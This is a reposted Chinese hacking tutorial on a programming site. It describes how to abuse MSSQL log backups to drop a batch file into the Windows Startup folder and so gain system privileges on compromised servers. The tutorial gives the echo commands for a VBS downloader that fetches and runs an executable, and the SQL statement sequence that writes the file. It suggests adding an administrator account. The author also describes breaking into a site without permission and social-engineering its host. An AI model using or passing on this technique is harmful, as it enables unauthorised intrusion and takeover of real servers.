位置: 编程技术 - 正文

MSSQL差异备份取系统权限的相关软件下载(sql差异备份数据库怎么还原)

编辑:rootadmin
昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的 安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西, 落后了,落后了...... 下面是是在网上找到的资料和动画. TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码 让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj测试了N次之后跟你说! 那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧! 大家不用想都知道 通用地方 C:Documents and SettingsAll Users「开始」菜单程序启动 呵呵位置有了! 那么我们备份什么文件让系统能执行的呢? 这个是第一个关键点~! EXE JS VBS BAT这些文件大家第一时间想到的了 那些我一个一个来分析 exe的话!绝对能了! 但是 MSSQL差异备份这么多垃圾肯定会把exe弄坏的! 否决掉 然后到脚本 VBS 我们能不能把 他的垃圾信息注释掉呢? 不然VBS 会执行不了! OK 学过VBS的朋友都知道 VBS里面 有2种注释 ' 还有就是 rem 但是还是会有垃圾信息屏蔽不了 否决掉 JS呢? JS里面有多行注释的/**/ 但是 /* 不可能在首行吧? 否决掉 最后 剩下我们最熟悉的bat批处理了! OK我们继续分析 bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行 这里的rem注释也一样不行的! 那么我们怎么办呢?其实很简单! 当我们在CMD下面敲错了命令系统会怎样呢? 说到这里 要是大家不往文章下面看也一样能想到方法了吧~ OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了! 而系统只当作无用的命令来处理!不影响我们的操作! 问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作! 那么我们得把语句尽量缩少,越少越好~ OK那我们思路好了就采用bat 写一个VBS的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限 下面是我改过的生成下载者的BAT echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs echo P.Open "GET"," >>k.vbs echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs echo G.Mode=3:G.Type=1:G.Open() >>k.vbs echo G.Write P.ResponseBody:G.SaveToFile "t.exe",2 >>k.vbs k.vbs t 下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地 直接执行 记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车 然后实现差异备份 alter database ISTO set RECOVERY FULL-- create table cmd (a image)-- backup log ISTO to disk = 'c:cmd1' with init-- insert into cmd (a) values (0xA0D0AFDFAD 6FFED4CE6B2ED0AFE4FE2 CA2F2FEF2EE2FEC E3E6B2ED0AFEEAD FAFEDE3E6B2ED0A FE4D6FDAEDAE4FEE3E6B 2ED0AFEEF6EF AEFCECE3E6B2ED0A 6B2ED0AD0A)-- backup log ISTO to disk = 'C:Documents and SettingsAll Users「开始」菜单程序启动1.bat'-- drop table cmd-- OK bat出来了! 至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧! 要是服务器直接开启了 那就更方便了! 直接bat 一个添加管理员的命令更爽! isto是动画里用到的工具. isto辅助转换工具.rarmssql差异备份取系统权限.rar

推荐整理分享MSSQL差异备份取系统权限的相关软件下载(sql差异备份数据库怎么还原),希望有所帮助,仅作参考,欢迎阅读内容。

MSSQL差异备份取系统权限的相关软件下载(sql差异备份数据库怎么还原)

文章相关热门搜索词:sql数据库差异备份,mssql备份数据库,sqlserver 差异备份,sql差异备份语句,数据库差异备份,sql差异备份语句,sql差异备份语句,sqlserver 差异备份,内容如对您有帮助,希望把文章链接给更多的朋友!

解决MSSQL远程连接sql非默认端口数据库的问题 SQL没有像SQL一样的客户端网络实用工具,基本上SQL算是把SQL里面的名字都改了,在网上找资料也没找到,只能一点点的试,终于发现了一个

SQL命令大全-中英文对照第1/3页 SQL命令大全-中英文对照--语句功能--数据操作SELECT--从数据库表中检索数据行和列INSERT--向数据库表添加新数据行DELETE--从数据库表中删除数据行UPDATE--更

用SQL语句实现随机查询数据并不显示错误数据的方法 问题:上级单位要来检查数据,我的服务器的数据库是SQLserver,上级单位要求我用SQL语句在服务器端随机查询条数据出来。可是我的服务器里有些错

标签: sql差异备份数据库怎么还原

本文链接地址:https://www.jiuchutong.com/biancheng/348435.html 转载请保留说明!

上一篇:SQL Server 不删除信息重新恢复自动编号列的序号的方法(sqlserver完全删除)

下一篇:解决MSSQL2005远程连接sql2000非默认端口数据库的问题(sql2008开启远程连接)

  • 增值税专用发票使用规定 最新
  • 进口货物的完税价格不包括
  • 固定资产税前一次性扣除
  • 个税返还手续费奖励员工需要交个税吗
  • 免交的附加税需要计提吗
  • 收到生育险报销会计怎么写摘要呢
  • 两家公司原材料能否借用
  • 建筑行业增值税税负率计算公式
  • 必须一般纳税人
  • 月末计提工资金额怎么核算
  • 多项固定资产能否合并入账
  • 增值税一般纳税人证明文件
  • 企业所得税应税所得率
  • 先征后返的所得税账务处理
  • 股息和资本利得的区别
  • 没收履约保证金交增值税吗
  • 预付材料款的会计分录怎么写
  • 小规模怎样计算进项税额
  • 2017年全国税收收入是多少
  • 社会团体非限定性净资产
  • 出纳备用金收支登记表怎么做
  • m1 mac 恢复出厂
  • 往公户存钱怎么存最划算
  • macos怎么看
  • 如何计算劳务费个人所得税
  • php压缩包
  • 进项税留抵期限
  • 关于工程材料的图书有哪些
  • win10更新kb5005033
  • 跟踪路由如何实现
  • win10显示在哪
  • 清算期间会计科目
  • 金鱼花的养殖方法与注意事项
  • 属于资本的是
  • 稳岗补贴需要缴纳什么税
  • 当月计算的增值税怎么算
  • 让我看看他们
  • vue富文本编辑器移动端
  • 单文件php文件列表
  • 不是企业职工能否挂靠企业交社保
  • 企业职工薪酬如何确定
  • ps像素分辨率什么意思
  • mysql备份方式有哪些
  • 清包工开发票需要注意事项
  • 企业内部研发支持方案
  • 非营利组织接受捐赠收入要交企业所得税吗
  • 主营业务成本包括哪些
  • 包装物押金要计入增值税吗
  • 公司买的材料做什么分录
  • 税审报告需要什么资料
  • 如何将港币兑换成人民币
  • 企业利润分配应当遵循的原则
  • 广告费属于管理费用的哪一类
  • 物流公司账务处理流程及方法
  • 股东预分配利润后如何返还
  • 什么发票可以抵扣税
  • 其他应收款收不回来了,如何核销
  • mysql 从库
  • 在一台服务器上安装软件
  • win8系统中断怎么解决
  • win8激活点不进去
  • 丢失的身份证补办后,原本的身份证还有用吗
  • windows10iot安装
  • win8系统怎么更改无线网络IP
  • Win7计算机管理里面没有本地用户和组
  • win10 rs3
  • xp怎么改w7
  • win7 64位系统怎么查看串口号?
  • win8.1开始菜单怎么改成win7那样
  • linux在实际工作中的应用
  • win7操作技巧
  • Win10 Mobile 10586.71或时最适合WP8.1升级的Win10的版本
  • Unity3D游戏开发引擎
  • Python selenium爬取table
  • js onkeypress与onkeydown 事件区别详细说明
  • jquery作品
  • 广东省电子税务局登录方式
  • 重庆市税收排名地区
  • 广东省电子税务局电话
  • 土地税是怎么缴纳按什么缴纳
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设